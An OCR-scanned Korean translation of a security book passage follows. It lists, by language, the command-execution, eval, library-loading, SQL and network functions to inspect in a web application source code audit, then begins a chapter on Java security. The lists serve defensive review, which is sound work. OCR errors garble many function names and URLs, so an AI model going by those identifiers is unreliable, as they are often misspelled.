이 름파라메터 가 특수문자《1》로 시 작하거 나 끝나면 실행되게 한다. 사용자 
는《1》이 리용되였는가를 보면서 열기호출을 검사할 필요가 있으며 보다 중 
요하게는 오염된 자료가《1》문자를 포함하는 Open 호출에 통과되였는가를 
검사하여야 한다. 여기에는 또한 Shell , IPC ：： Open 2, IPC : : Open 3 모둘에 
포함된 여 러가지 Open 지 령함수들이 있다. 사용자는 그것들이 자기의 프로그 
탐을 받아 들이 면 그 모둘함수의 리 용을 추적할 필요가 있 다. 

• TCL : exec 지 령 에 대 한 호출이다. 
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• PHP fopenO 과 popenO 에 대 한 호출이다. 

• Pythom OS (또는 Posix ) 모둘이 적재되였는가를 검사한다. 

따라서 사용자는 OS . exec * 함수족의 매 리용을 검사할수 있다. 

OS . exec , OS . execve , OS . execle , OS . execlp , OS . execvp , OS . execvpe 또 
한 OS.popen 와 OS . system 에 대 하 여 검 사 한 다 ( 또 는 Posix . popen 과 
Posix . system 이 가능하다). 

• 사용자는 rexec 모둘에서 기능적으로 주도세밀하게 리용할수 있다. 만일 이 
모둘들을 받아 들이면 revec .* 지령들의 리용을 주의 깊게 심사할것이다. 

• SSI <!_ #exec command 。''' _>태 그의 리 용이 다. 

• Java Java , lang 꾸레 미 가 접 수되 였 는가를 검 사한다. 

또 Runtime , exec 0의 리 용을 검사한다. 

• PHP 다음의 함수들에 대 한 호출이다. ExecO , PassthruO , system () 

• ColdFusion CFExecutue 와 CFServlet 태그의 리용이 다. 

2) 동적 a 드실행 

Perl , Python , TCL 등과 같은 대 부분의 스크립 트작성언어 들은 고유한 스크립 트작 
성코드를 해석 및 실행하게 하는 기구를 포함한다. 례하면 Python 스크립트는 원시 
Py 比 ion 코드를 만들며 콤파일지 령 을 통하여 그것 을 실행한다. 이것 은 프로그람이 동적 
인 부분프로그람을《작성》하거나 사용자가 스크립트작성코드를 입구하게 한다 
( fragment ). 그러나 위험한 부분은 부분프로그람이 기본프로그람의 모든 특전들과 기능 
들을 다가지고 있다는데 있다. 만일 사용자가 자기의 스크립트코드를 번역과 실행에 삽 
입할수 있다면 프로그람을 효과적으로 조종할수 있다(리용된 스크립트작성언어의 특성들 
에만 국한된다). 이 취약성은 표준적으로 스크립트관련언어에 국한된다. 

코드번역 또는 실행을 일으키는 여러가지 지령들을 다음과 같이 포함하고 있다. 

• TCL : eval 과 expr 지 령 을 리용한다. 

• Perl : eval 함수와 do 를 리용하며 e 갱신자를 가진 임의의 regex 조작을 리용한 
다. 

• Python exec , compile , eval , execfile , input 지 령들을 리 용한다. 

• ASP 정 확한 ASP 해석 자들은 Eval , Execute 를 가질수 있으며 ExecuteGlobal 
을 리용할수 있다. 

3) 외부객제와 서고 

프로그람코드의 동적발생과 번역을 고찰해 보면 프로그람은 또한 프로그람에 확장시 
키려는 코드의 집합(일반적으로 서고로 창조된다.)을 적재하거나 포함시키려고 할수 있 
다. 이 서고들은 표준적으로 프로그람의 설계를 쉽게 하도록 도와 줄수 있는 일반함수들 
을 포함하며 주문함수집 합들은 사용자의 Web 응용프로그람을 지원하는데 리용할수 있다. 
어떤 함수인가에 관계없이 서고는 포함될수 있으며 사용자는 프로그람이 이미 예견된 적 
당한 서 고를 안전하게 적 재하게 할수 있 다. 공격 자는 사용자의 프로그람이 교대 서 고를 
적재하는것을 억제할수 있으며 따라서 그것을 갱신시킬수도 있다. 원천코드를 심사할 때 
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사용자는 모든 외부서고의 적재루린들이 오염된 자료의 어느 한 부분을 리용하지 않는가 
를 측정해야 한다. 


외부서고취 약성들은 이미 설명 한 파일체계 호상작용점 들과 갈다. 그러나 외부서 
고들은 문제령역을 정확히 분리하였다는것을 증명하는데서 그와 미세한 차이를 가지 
고 있다(실제적으로 메쏘드 또는 함수로서 거기에 포함되여 리용된다). 


아래에 외부언어들이 외부모둘들을 받아 들이는데 리용한 함수목록을 보여 주고 있 
다. 모든 경우에 접수된 실제적인 모둘들을 심사할수 있으며 사용자가 접수처 리를 갱신 
할수 있는가를 검사할수 있다(례하면 모둘이름에서 오염된 자료를 통하여). 

• Perl ： import , require , use 

• Python : import 와 ? import - 

• ASP : Server . CreadLeObjectO , 와 global , asa 에 찾았을 때는 〈OBJECT 
vunat =， server ’ > 래그 

• JSP ： JSP：useBean 

• Java ： Java . net 꾸레 미 로부터 나오는 URLClassLoader 와 JarURLConnec - 
tion : Java . lang 꾸레 미 로부터 나오는 lassLoader , Runtimedoad , Runtime , 
loadlibrary , System , load . Systemload - Library 

• TCL ： load , source , pavage require 

• ColdFusion : CFOb ject 


6. 구조화된 질문언어 ( SQL ) 및 자료기지질문을 검사 

Web 응용프로그람과 결합하는 자료기지의 리용이 증대되는데 따라 최근에 이상한 
약점들이 더 많이 나타나고 있다. 보다 명백한것은 자료기지가 방대한 정보를 기억，분 
석，회복하는 가장 중심적인 보관고를 만든다는것이다. 방대한 취약성령역이 자료기지 
SQL 안에 있 으며 SQL 은 자료기 지 우에 서 조작을 수행하는데 서 표준적 인 인 간지 향질 문언 
어 이 다. 지 적된 약점들은 SQL 이 인간지 향이 고 또 가장 기 본적 인것은 자연언어 지 향이라 
는데 있다. 이것은 실제적 으로 SQL 질문이 사람이 읽기 쉽 고 리해 하기 쉽게 설계되고 
있으며 또 를퓨터들은 질문이 의도하는대로 첫 해석과 모양이 정확히 출구되여야 한다는 
것 을 의 미 한다. 이 러 한 자연적 인 접 근에 따라 침 입 자는 사람이 읽 기 쉬 운 SQL 언어 의 
기 본목적을 변경 시키 려 할수도 있으며 SQL 은 완전히 서 로 다른 의미를 가지는 자료기 
지의 믿음직한 질문에 대답을 줄수 있다. 

(f)m _ 

SQL 과 련관된 취약성들과 함께 할당된 가장 위험한 준위는 사용자가 리용하 

는 특별 한 자료기 지 쏘프트웨 어 와 쏘프트웨 어 가 제 공하는 특성 에 직 접 의 존한다. 
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그러 나 이 것은 SQL 또는 자료기지위험만이 아니 다. 위 험의 중요한 령역은 다음의 
두개 형태들가운데서 하나로 설정된다. 

• 접 속설 치 (connection setup ) 

응용프로그람에서 찾아 볼 필요가 있으며 응요프로그람이 자료기지와 초기접속을 
어디서 하는가를 결정하여야 한다. 표준적으로 접속은 질문이 실행되기전에 만들 
어 진다. 접속은 보통 인증정보 즉 사용자이름，암호，자료기지봉사기，표이름 
등과 같은것을 포함한다. 이 인증정보는 아주 예민하게 고려되며 따라서 응용프 
로그람은 그것에 대한 이전 정보, 실행정보, 러용후 정보(자료기지에 접속한 기 
초우에서)를 어 떻게 저축하는가를 시험한다. 물론 접속설치를 하는 동안에 리용 
되는 인증정보가 없으면 오염된 자료가 포함될수 있다. 다시 말하여 오염된 자료 
는 사용자가 잠재적으로 공급함수 있는가를 결정하는데 리용할수 있으며 또 자료 
기지봉사기 에 접속을 확립 하는데 리용된 증명서를 변경시 키는데 리용할수 있다. 

• 질 문을 부당하게 변경 (Tampering with queries ) 

이것은 일반적으로 대단히 위험하다 (Web 응용프로그람을 조사한 몇가지 경험에 
의하면 ). Web 응용프로그람의 동적속성은 사용자의 요구를 어느 정도 동적으로 
처 리하는가를 가리킨다. 프로그람은 자료기지가 주어 진 파라메터안에서 자료의 
특별한 모임을 질문(사용자의 리익에 견지에서)할수 있게 하며 그리고 마지막에 
리 용하기 위하여 자료기 지안에 결 과자료를 기 억 시 킬 수도 있 다. 가장 큰 문제 는 
일반형식 또는 다른 형식으로 질문안에 오염된 자료를 실제적으로 삽입하여 복잡 
하게 만드는것 이 다. 공격 자가 SQL 질문안에 삽입된 그 자료를 다룰수 있으며 한 
번 계획했던것과는 다른 질문들의 실행에서 SQL 자료기지 봉사기를 롱락할수 있 
다. 공격자는 자료기지에 포함된 자료를 부당하게 리용할수 있으며 보려고 계획 
했던것 보다 더 많은 자료(다른 사용자의 실제한 기 록들)를 볼수 있으며 자료기지 
안에 기억된 사용자증명서를 리용하여 인증기구를 못쓰게 만들수 있다. 

_ 

공격자가 SQL 질문을 어떻게 람용하고 있는가에 대하여 구체적으로 알려면 
Rain Forest Puppy 에 의 해 작성된 정보와 문서들의 집 합을 보면 된다 
( www . wiretrop . net/rfp 에 서 찾을수 있 다). 


주어 진 두개 문제령역들은 잠재하고 있는 문제들에 대하여 읽을수 있는다음의 함수 
또는 지령목록이 다. 

• C 八>+는 유감스럽게도 여 러가지 외부자료기지 호출을 위한《표준》서고를 가지 
고 있지 않다. 그러므로 사용자가 자기에 대한 탐색를 진행하여 자료기지와 접속 
하는 어떤 함수들이 리용되며 자료기지에 질문을 준비 또는 처리하는데 어떤 함 
수들이 리용되였는가를 결정한다. 이것을 결정한후에 사용자는 목적함수의 모든 
리용에 대하여 탐색하여 야 한다. 

• PHP : 다음의 함수를 호출한다. 

Ifx_pcwnnect (0, ifx_prepare () , ifx _ query () , mysql _ connect (), 
mysql _ db_query 0, msql _ db_query 0, msql_query 0 , mysql_connect 0, 
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mysql _ db_query 0 ， mysql_pconnect 0 ， mysql_query 0 ， Odbc_connect 0, 
odbc _ exec (), odbc_pconnect (), Odbc _ prepare (), oraJogonO , 

ora _ open (), ora _ parse (), ara _ plogon (), OCILogonO , OCIParseO , 
OCIPLogonO , pg _ connect (), pgexecO , pg_pconnect (), Sybase ()_ conne - 
ct (), sybase—pconnect 0 ， sybase _ query () 

• ASP 자료기 지접 속은 ADODB :* 객 체 에 의해 조종된 다. 

이 것 은 사 용 자 스 크 립 트 가 Server . CreateObject 함 수 를 리 용 하 여 
ADODB . Connection 이나 ADODB.Recardset 객체를 창조할수 없다면 사용자 
는 AD ◦취 약성 을 포함하는 사용자의 스크립 트에 대 해 걱 정하지 않아도 된 다는것 
을 의 미한다. 만일 사용자의 스크립 트가 ADODB 객 체 를 창조한다면 창조된 객 체 
의 Open 메쏘드를 찾아 볼 필요가 있다. 

• Java 

Java 는 java . sql 모둘에 저 축된 Java 자료기 지 접 속대 면부 JDBC(Java DataBase 
Connectivity ) 를 리 용한다. 

만일 응용프로그람이 java . sql 모둘을 리용한다면 사용자는 createStatement 0와 
execute 0메쏘드의 리용을 조사할 필요가 있다. 

• Perl 

Perl 은 일반자료기지독립 DBI 모둘이나 자료기지명세 DB ::* 모둘을 리용할수 있 
다. 매 모둘에 의 해 제공된 함수들은 얼마든지 변경할수 있으며 따라서 어느 모 
둘이 필요한 함수들을 적재하거나 찾아 낼수 있는가를 결정해야 한다. 

• ColdFusion 

CF Insert , CFQuery ， CFUpdate 태그조종기는 자료기지와 함께 호상작용한다. 

7. 망작업과 통신흐름을 검사 

모든 망접속응답과 프로그람에 의하여 리용되는 통신흐름의 검사는 중요하다. 

실례 로 사용자의 프로그람은 파일 을 검 색 하기 위하여 특별 한 봉사기 에 FTP 접 속을 
할수 있다. 어디에 오염된 자료가 포함되여 있는가에 의존하면서 공격자는 FTP 봉사기 
가 사용자의 프로그람을 사용증명서가 있는 다른 사용자와 접속시키거나 실제적으로 검 
색된 파일과 접속시키는것을 변경시 킬수 있다. 이것은 또한 망접속준비 가 되 였다는것을 
통지하는 봉사기처 리응답을 Web 응용프로그람이 설 정하였는가를 알아 보는데 서 대 단히 
중요하다. 망접 속준비 가 많은 난문제 를 가지 고 있기 때 문에 봉사기응답을 조종하는 코드 
에 있는 어떠 한 취 약성도 공격 자가 원격으로 봉사기를 타격할수 있는 가능성 을 줄수 있 
다. 더 나쁜것 은 주문자망봉사들이나 특이한 도구을 리 용하여 접 속실행하는 봉사들은 공 
격에 대한 검사를 설정해야 하는 침입검출체계나 다른 공격변경체계를 뒤집어 엎을수 있 
다. 사용자의 응용프로그람이 망 또는 통신흐름을 확립하거 나 리용할수 있게 하는 여 러 
가지 함수들은 다음과 같다. 


Perl 과 C / C ++ 

응용프로그람을 지적 하는 Connect 지 령은 망접속요구를 내보내게 한다. Connect 

는 다른 언어들에서도 볼수 있는 일반적 인 이름이 다. 

accept 지 령은 응용프로그람이 망접속에로 들어 간다는것을 통지한다. 

Accept 도 역시 다른 언어에서 발견될수 있는 일반적인 이름이다. 
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• PHP : 다음의 함수를 리용한다. 

Imap _ open , imap _ popen , ladp _ connect , ldap _ add , mcal _ open , fsockopen , 
pfsockOpen , ftp - connect , ftpjogin , mail 

• Python 

socket .*, urllib .*, ftplib .* 모둘을 리용한다. 

.ASP 공동자료객체 ( CDO ) CDONTS .* 객체를 리 용한다. 

CDONT . Attachment , CDONTS.NewMail Attach File 과 AttachURL 에 대 해 
특별히 살찌 보아야 한다. 공격자는 사용자가 전송하려고 하지 않는 파일을 공격 
하는데서 사용자의 응용프로그람을 역리용할수 있다. 이것은 앞에서 설명한 파일 
체계기초의 취약성과 비슷하다. 

• Java 

특별 히 ServerSocket 의 리 용을 위 하여 Java . net .* package ( s ) 를 포함한다 (요 
구를 받아 들이 기 위하여 응용프로그람이 감시 한다는것 을 의 미한다). 또는 
java . rmi .* 를 포함하는가를 감시한다. RMI 는 CORBA 와 본질적 으로 류사하게 
언급된 Java 의 원격메쏘드이다. 

• ColdFusion 

다음의 태 그들을 조사하여 야 한다. 

CFFIP , CFHTIP , CFLDAP , CFMail , CFPOP 


제 4 절. 모두 함께 리용하기 


그러면 목적함수 또는 지령들의 큰 목록을 가지고 어떻게 프로그람안에서 그것을 찾 
을수 있는가? 그에 대한 대답은 자원에 따라 약간 다르다. 단순한 측면에서 사용자는 탐 
색/발견기능을 가진 편집기나 프로그람을 리용할수 있다(지어 단어처리기도 리용할수 있 
다). 그것들이 응용프로그람에 의해 어디서 리용되고 어떤 문법을 리용하는가에 주의하 
면서 목록에 있는 함수를 조사해 보아야 한다. 한번에 다중파일을 찾을수 있는 (Unix 
grep 와 같은)프로그람들은 훨씬 더 효과적이나 grep 와 같은 지령선 편의프로그람들은 
이동하지 못한다. 이제까지는 파일을 볼수 있게 하는 GUN less 프로그람을 많이 사용하 
였다. 이것은 조립된 람색능력도 가지고 있다. Windows 사용자들은 DOS find 지령을 
리 용한다. 

Windows 사용자들은 U 1 切 "aEdit 의 이름에 의해 소규모프로그람코드편집기의 리용을 
조사할수도 있다. UltraEdit 는 파일 을 시 각적 으로 편집할수 있게 하며 하나의 파일 또는 
여러개의 파일을 교차로 람색할수 있게 한다. Windows 에서 다중파일람색을 미끈하게 
하려면 지정된 기 호렬에 의 하여 파일을 탐색할수 있게 하는 Windows 파일 탐색 속성을 
리 용할수 있다. C 나 C ++ 를 리용하면 사용자의 잠재적문제 령역을 지적 하기 위 하여 공개 
된 ITS 4 Unix 프로그람을 리용할수 있 다. ITS 4 는 찾으러 는 함수이 름을 포함하고 있는 
내부자료기지를 가진다 (/ usr / local / share / its 4/ vulnsi 4 d 에 보관되여 있 다). 사용자는 자 
기와 관련된 특정한 함수들을 포함할수 있게 이 파일 (그러나 이에 대해 언급하지 않는 
다.)들을 변경할수 있 다. 
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사용자의 Web 응용프로그람들이 보안되 는가를 확인 하는것 은 대 부분의 관리 자들과 
프로그람작성자들이 반드시 수행해야 할 일이지만 그에 대한 전문적인 지식과 시간의 부。;^! 
족으로 자주 인자들을 무시하는 경우가 있다. 그러므로 누가 달려 드는가를 조사하는 보. 

안코드조사의 단순한 방법을 완성하는것이 중요하다. 제기되는 문제령역을 찾고 다음 반 'ᅳ_ 
대 방향으로 프로그람실 행 을 추적하는것 은 대 규모코드량을 효과적 으로 그리 고 구체 적 으로 
조사할수 있는 방법을 제공한다. 그리고 제일 위험한 령역 (완충기넘침, 사용자출구, 파 
일체계호상작용, 내부프로그람과 자료기지접속)에 주의를 돌림으로써 오늘날 망에서 발 
견된 수많은 오염 된 Web 응용프로그람과 오유들을 쉽 게 제 거할수 있 다. 


요 약 



1. 어떻게 프로그람을 효과적으로 추적할수 있는가 

- 시 작부터 끝까지 프로그람의 실행 을 추적하기에는 시 간이 부족하다. 

- 문제 령 역 에 직 접 가는 대 신 시 간을 보관할수 있 다. 

- 이 방법은 응용프로그람처리 또는 계산론리를 조용히 뛰여 넘을수 있게 한다. 

2. 선택된 프로그람작성언어 에 대 한 검 열과 심 사 



- 대중적이며 완성된 프로그람언어의 리용은 코드검열을 도와 준다. 

- 일정한 프로그람언어들은 코드를 효과적으로 심사하는 사용자를 도와 주는 속성을 
가지고 있다. 

3. 취 약성찾기 

- 사용자자료가 어떻게 결합되였는가에 대한 심사 

- 완충기넘침에 대한 검사 

- 프로그람출구를 해석 

- 파일체계의 호상작용을 심사 

- 내부구성요소의 리용을 검사 

- 자료기지질문들과 접속을 시험 

- 망속성의 리용을 추적 


: 사노 

장， 




4. 모두 함께 리용하기 

- Unix grep , GNU less , DOS find 지 령 , UltraEdit , 자유 ITS 4 Unix 프로그람， 
Numega 와 같은것을 이미 목록화된 기능을 찾기 위 하여 리 용한다. 


물음과 대답 


이 장의 물음에 대 한 대답은 저 자가 준것 이 다. 

문답들은 이 장에서 서술한 개 념들을 리해 하고 실생활을 통하여 체 험 하도록 하는데 
도움을 줄것이다. 독자들의 질문에 대한 저자의 답변을 듣자면 www . Syngress . 
com / solutions 의 《Ask the Author ) (저자에게 문의)을 누르시오. 

물음 : 이것은 지루하다. 이 작업을 하는 자동화된 도구가 있는가? 

대답 : 원천코드의 개성과 동적인 본성때문에 그것은 개발자가 무엇을 의도 하고 공 
격자가 그것을 어떻게 뒤집어 엎겠는가 하는것을 리해할수 있는 도구를 설계 
하는것은 매우 어 렵 다. ITS 4 와 BoundsChedcer 와 같은 도구들은 일부 문제 
령역를 밝히는것을 도와 줄수 있지만 이 도구들은 자동화된 재배 치를 하지 
못한다. 

물음 : 사용자들에게 원천코드를 검사해 주는 외부회사들이 있는가? 

대 답 : 사용자는 검 사를 위 해 Security Focus . com 를 제 공받을수 있 다. 
SecurityFocus . com 은 보안봉사를 직접 제공하는 다중판매기를 실제적으로 
포함하고 있으며 그것은 형식적코드검열을 진행하는 회사목록을 포함하고 있 
다. Cilogic ( ITS 4 의 표식자)도 역시 코드조사봉사를 제공한다. 

물음 : 잠재하고 있는 위험과 직결식정보를 어디서 찾고 그것을 반대하여 어떻게 방 
위 하는가? 

대 답 : LincolnStein 은 Web Security FAQ 를 작성 하였으며 그것을 
www .sactMty ffta-html 에 서 직 접 리 용할 
수 있 다. 여 기 서 는 또한 www . dwheeler . com/seure programs 에 서 리 용 
할수 있는 Secure Programming for Linux 와 Unix HOWTO ( C / C ++, Java , 
TCL , Python , Perl 도 포함)도 있다. 

물음 : 나의 전용언어에서 보안코드를 고려하여 더 많은 정보를 찾아 내는데서 가장 
좋은 위치는 어디인가? 

대답 : 전용프로그람언어의 판매자들은 기동에 가장 좋은 위치를 제공한다. 그러나 
일부 프로그람언어 ( C 八>+, TCL 등과 같은것 )들은 공식 적 인《 판매 자들》을 
가지지 않지만 대부분 싸이트들의 지원을 받는다. 실례로 Perl . com 은 Perl 프 
로그람작성자들을 위하여 풍부한 정보를 제공하며 지어 여기에는 C 코드작성 
자 들 을 위 한 Secure UnixProgra mining FAQ 도 있 다 ( http :// whit - 
efang.com 에서 리용할수 있다). 
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제 7 장. Java 쿄드의 보안 


이 장의 기본체계 

必 Java 보안구조의 개괄 

、 Java 는 보안을 어떻게 다루는가 

관 Java 의 잠재 적 약점 

판 기능적이면서 안전한 

Java 애플레트의 코드화 

傷 결론 
9 요약 

傷 물음과 대 답 



소 개 


Java 는 최 근에 널 리 보급되 고 있는 다방면적 인 프로그람작성언어 이 다. 1995년에 
Java 가 출현한 때로부터 개발공동체가 다중가동환경을 초월하는 우월성과 믿음성을 제 
공함으로써 급속히 보급되였다. 오늘날 자기구성에 Java 가 들어 있지않는 선진적인 응 
용프로그람들을 더욱더 찾아볼수 없다. Java 의 확장성으로 하여 인터네트상에서의 분기 
구조는 완성되여 있지만 응용프로그람이 정확하게 설계되지 않으면 공동체계에 위협을 
줄수 있다. 

Java 의 창시자인 Sun Microsystem 회사는 Java 가 본성적으로 보안을 요구하며 보 
안코드작성 을 진행하는 모든것 들이 시 종일 관 Java 보안모형 을 견지 하게 하고 있 다. 그렇 
지만 보안의 빈 구멍들과 위험들은 Java 의 첫 판본에서부터 발견되였다. Sun 은 개발자 
들의 권고에 귀 를 기 울이 고 문제 를 해 결 하기 위하여 노력 하고 있 다. 사실 Sun 은 Java 
의 설계를 차례 로 여 러 단계를 거 쳐 완성하였다. Java 는 강력한 도구이지만 아직도 그 
의 사용에서 오유가 있으며 일부 위험 이 뒤따르고 있다. 이 장은 Java 코드의 안정성과 
보안상태를 검사하는 처리를 설명한다. Java 응용프로그람코드를 보안하기 위하여 Java 가 
보안을 어떻게 하며 그자체의 환경 즉 응용프로그람이 어떻게 보안조종을 받아 창조되는 
가를 알아야 한다. 실례로 우리는 체계를 혼란상태에 빠뜨리고 충돌을 일으키는 다중스 
레드를 창조함으로써 Java 프로그람이 어떻게 파괴되는가를 시험한다. 

이 장은 Java 의 4개 분기령역을 설명 한다. 첫 부분은 Java 보안구조에 대 한 견해 이 
다. 여기에서 기초보안의 개념과 대부분의 Java 보안을 만들어 내는 sandbox 기구를 소 
개한다. 다음에 Java 의 조립된 보안기구를 채 용하여 Java 가 보안을 어떻게 조종하는가 
를 설명 한다. 이 조립된 기구는 클라스적재기 , 바이트코드검증자，보안관리자를 포함한 
다. 이 모든 기구들은 Java sandbox 와 결합되 여 있다. 다음 개 발자의 관점 에서 Java 안 
에 있는 잠재적위험을 고찰한다. 이 부분은 다른 사람들이 사용자의 Internet 응용프로그 
탐을 가지고 큰 파괴를 일으키는데 취약성들을 어떻게 채용할수 있는가를 설명한다. 마 
지막으로 인증과 암호를 포함하여 여러가지 보안특성을 어떻게 실현하였는가를 조사하면 
서 Java 애플레트를 보안하는 기능적 인 코드화의 맞물림을 설명한다. 이 부분은 또한 콤 
파일러준비를 갖춘 코드실례들을 준다. 

이 장에서 보여 주는 보안특성들은 프로그람개발도구 ( SDK ) 의 판본 1.2 나 1.3 을 리 
용한 Java 2 가동환경 에 기초한다. 이 장에서 보여 주는 실례들은 코드의 최 소화를 진 
행하는데서 기초로 된다. 이 코드들의 목적은 매 문제 에 대한 기본사상을 주려는데 있다. 
이로부터 실례들은 체계조종탁에 출구를 현시하며 여기에는 이것들이 대단히 길기때문에 
AWT 코드는 없다. 


제 1 절. Java 보안구조의 개괄 


지금까지 존재한 콤퓨터언어들에 속하는 Java 2 가동환경 은 대부분 보안을 의심하 
지 않는다. 이것 이 초기에 Web 과 함께 개 발되면서 보안에 대 하여 많이 고려한것은 시 
작으로부터 설계 까지의 부분이 다. 이 절은 Java 2 애 플레트를 제 한하기 위 하여 확장된 
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sandbox 기구를 포함하여 기본보안모형을 서술한다. 어떠한 Java 연산이 만일 체계에 손 
상을 줄수 있다면 Java 언어에서는 극단적인 의심으로 취급된다. 다시 말하면 다른 봉사 
기와의 접속과 같은 Web 특성 조작들이 의혹으로 취급된다. Java 언어는 Java 설계 자들이 
자그마한 위험도 없이 견고하게 만들었기때문에 응용프로그람의 사용자와 주콤퓨터를 다 
보호할수 있는 능력을 가지고 있다. 

다른 언어들과 개발도구들은 ActiveX 와 같이 그것들이 PC 에서 자연언어로 취급되 
기 때 문에 보안되 지 않고 실 행한후에 사용자의 모든 자원에 접 근한다. ActiveX 를 위한 
보안은 시작부터 옳은 구조로 설계하였다기보다 오히려 보안침해에 반작용하도록 실현한 
것처럼 보인다. 임의의 보안구조를 완성하기 위한 기초적인 5가지 목표는 다음과 갈다. 
그 대부분이 Java 주소들이다. 

• 봉쇄 ( Containment ) 

말단체계 에 들어 있는 위험한 조작을 막는다. 일부 연산들은 위험한 화학실험과 
같다. 디스크에 쓰기，파일지우기，망에서 정보전송 같은 조작들은 위험하며 조 
종되거 나 포함될 필요가 있다. 

• 권한 ( Authorization ) 

이것은 자료와 체 계 자원에 대 한 접 근준위 을 다르게 할수 있다는것을 의 미한다. 
사용자가 콤퓨터망안에 가입할 때 개 개의 파일，인쇄 기，다른 자원들에 대 한 접 
근을 허 락하지 않는다. 즉 하나의 응용프로그람은 권한을 리용하여 프로그람의 
일정한 함수들에 대한 접근을 구속할수 있다. 

• 인증 ( Authentication ) 

인증에는 2가지 형태가 있다. 첫번째는 어떤 사람이 체계에 가입할 때 사용자가 
요구한 사람이 옳은가를 확인한다. 인증되지 않은 사용자들은 사용자의 자원에 
접근할수 없다. 두번째는 인터네트를 통하여 오는 코드가 추천된 사람이나 회사 
에 의해 창조된것 이 옳은가를 확인한다. 사용자는 이 보증이 없는 코드는 믿을가 
치가 없다고 확인한다. 

• 암호화 ( Encrypion ) 

비공개자료를 보려는 인증되지 않은 3부류의 시도를 막는다. 암호는 송신으로부 
터 수신에 이르기까지 임의의 자료에 리용될수 있으며 도청될수 있다. 콤퓨터시 
대의 암호화는 일반적으로 인터네트에서 다른 사람이 망파케트와 자료를 가로 채 
는것을 막는데 리용된다. 

• 검사 ( Auditing ) 

응용프로그람거래에 대한 론박할수 없는 기록을 보존하며 누가 그것을 수행했는 
가를 보존한다. 누군가가 체계에 오유를 창조하면 체계관리자는 그 사람이 반박 
할수 없게 책 임을 지우기 위하여 검사된 자료를 보관할것 이 다. 전자상거 래 에서 
리용할수도 있다. 어느 한사람이 회사에 직렬로 200대의 콤퓨터를 놓았다고 가정 
하자. 회사가 이 를퓨터들을 접수하고 다음에 늘 그것들이 직렬로 되여 있지 않 
다고 부정하면 어떻게 할것인가? 체계에서 수행되는 일정한 거래에 대하여 상태 
를 부인할수 없게 기록해 야 할 필요가 있다. 

우에서 본것처럼 목적은 보안체계가 정확히 움직이게 하는것이다. 일부 인증은 검사 
를 진행하는것 을 도와 줄수 있지 만 검 사내 부체 계 는 실지 로 아직 완성 되 지 못하였 다. 
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% Java 보안모형 


Sun 은 Java 보안모형에서 서술한 보안특성의 대부분을 주소화하려고 시도하고 있다. 
많은 경우 이러한 관계들을 주소화하는것은 좋은 일감이지만 앞으로 Java 가동환경의 개 
방에서 쉽게 주소화할수 있게 모형에 몇개의 구멍을 남겨 둔다. 

첫번째 구멍은 권한과 인증을 함께 가지고 있다. Java 는 코드의 본체가 누구에 의 
해 창조되는가를 인증하며 사용자기구에서 허락하는것을 제한하는 일을 한다. Java 는 
응용프로그람에 서 이 것을 수행 하는데 좋은 구조를 제 공하기위 하여 분리시켜 내 리적제 한 
Java 인 증과 권 한봉사 (Java Authentication and Au 比 lorization : JAAS ) 라고 부르는 
API 를 사용한다. 그러 나 Java 는 사용자에 대 한 인증과 Java 코드를 통하여 사용자가 자 
원에 접 근하는것 을 제 한하기 위한 만족한 수단을 주지 는 못한다. JAAS 에 서 Java 백 서 
(White paper ) 는 Unix 가입 과 비 슷하게 JVM (Java Virtual Machine ) 에 로의 사용자의 
가입을 실현함으로써 사용자인증의 실현가능성을 론의한다. 이것은 아직 완성되지 않았 
으며 따라서 응용프로그람안에서 사용자의 접근은 주문된 코드해결을 통하여 실현하고 
있 다. 

두번째 구멍은 검사를 가지고 있는것이다. Java 는 JVM 안에서 수행되는 트랜잭션의 
의 검사기록을 보관하기 위한 해결을 재공받지 못하고 있다. JVM 준위에 트랜잭션을 보 
관하기 위한 명확한 방법이 있다. 수자서명을 리용하여 트랜잭션의 내적인 기록을 보관 
하면 응용프로그람은 검사자리를 확고히 믿을수 있다. 더우기 응용프로그람준위에서 개 
발된 모든 의 미 있는 구멍 들은 검 사기계 의 실현과 함께 설명할수 있 다. 

이 장에서 Java 보안모형의 다음과 같은 측면을 설명한다. 

• 클라스적재기 

• 바이트코드검증 

• 보안관리자들 

• 수자서명 

• 증명서를 리용한 인증 

• JAR 표식 

• 암호화 

클라스적재 기 는 가상기 계안에서 Java 바이 트코드를 적재하기 위 하여 응답할수 있다. 

기정클라스적재기는 클라스파일의 완전성에 대해 검사하지만 사용자는 자기의 콜라 
스적 재 기 를 창조함으로써 나머 지 검 사를 진행할수 있 다. Netscape Navigator 와 같은 
열람기들은 자기의 클라스적재기들이 표시된 JAR 파일들에 대해 검사를 진행하게 한다. 

바이 트코드검증은 클라스가 변경되 면 치명적 인 손상이 발생 하겠는가를 결정할수 있 
다. 바이트코드검증은 코드가 오유없이 실행하면 실현하기 좋지만 제3부류가 어떤 색 다 
른 조작을 하여 코드를 변경하면 검 사를 하지 못한다. 

보안관리자는 Java 가상기계에서 일정한 연산을 허용하고 금지하는데 응답할수 있다. 
여 기 에는 사용자기계 에 대 한 일부 종류의 보안위험을 Java 로 시 험할수 있는 약 21개의 
유일적인 연산이 있다. 보안관리자를 가지고 Java 프로그람이 사용자 PC 에 쉽게 접근할수 
있는 연산이 무엇 인가를 정 확히 확정할수 있다. 

수자서명은 인터네트상에서 사용자의 식별을 검증하는데 리용할수 있다. 더 정확히 
말하여 수자서명은 수신된 자료가 실제적으로 그것을 보내려고 한 사람으로부터 왔는가 
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를 확인한다. 수자서명을 가지고 그것 이 함부로 가필하지 않는 코드인가를 확인할수 있 
다. 증명서들을 가지고 인증하는것은 인터네트상에서 접수한 클라스가 초기에 보낸것과 
갈은것 이 라는것 을 확인할수 있게 한다. 초기 작업 과 그것 을 보수한것 을 역 콤파일 하는것 에 
의하여 클라스를 비법적으로 변경하는것은 일부 기술적으로 가능하다. 만일 애플레트가 
콤퓨터에 대한 추가적인 접근을 요구한다면 그 접근을 허가하기전에 누구와 말하며 누가 
애플레트를 창조하는가를 100% 확인할수 있다. 

JAR 표식는 사용자가 자기의 서명 을 가지 고 JAR 파일을 표식하는것을 허 용한다. 
Java 는 표식붙은 JAR 파일과 서명을 창조하는 관리도구들을 준다. 이 절은 이러한 도구 
를 어 떻게 사용하는가를 설명한다. 

암호화는 망을 통해 서 전송하기 전에 바이 트들을 빼앗을수 있게 함으로써 누구도 자 
료를 읽 을수 없게 한다. 한편 다른 끝에 서 수신된것 은 원래자료로 부호화되 고 아쌤 블된 
다. Java 공개 열 쇠 암호확장 Jam Cryptography Extensions ( JCE ) 와 다른 제 3부류의 
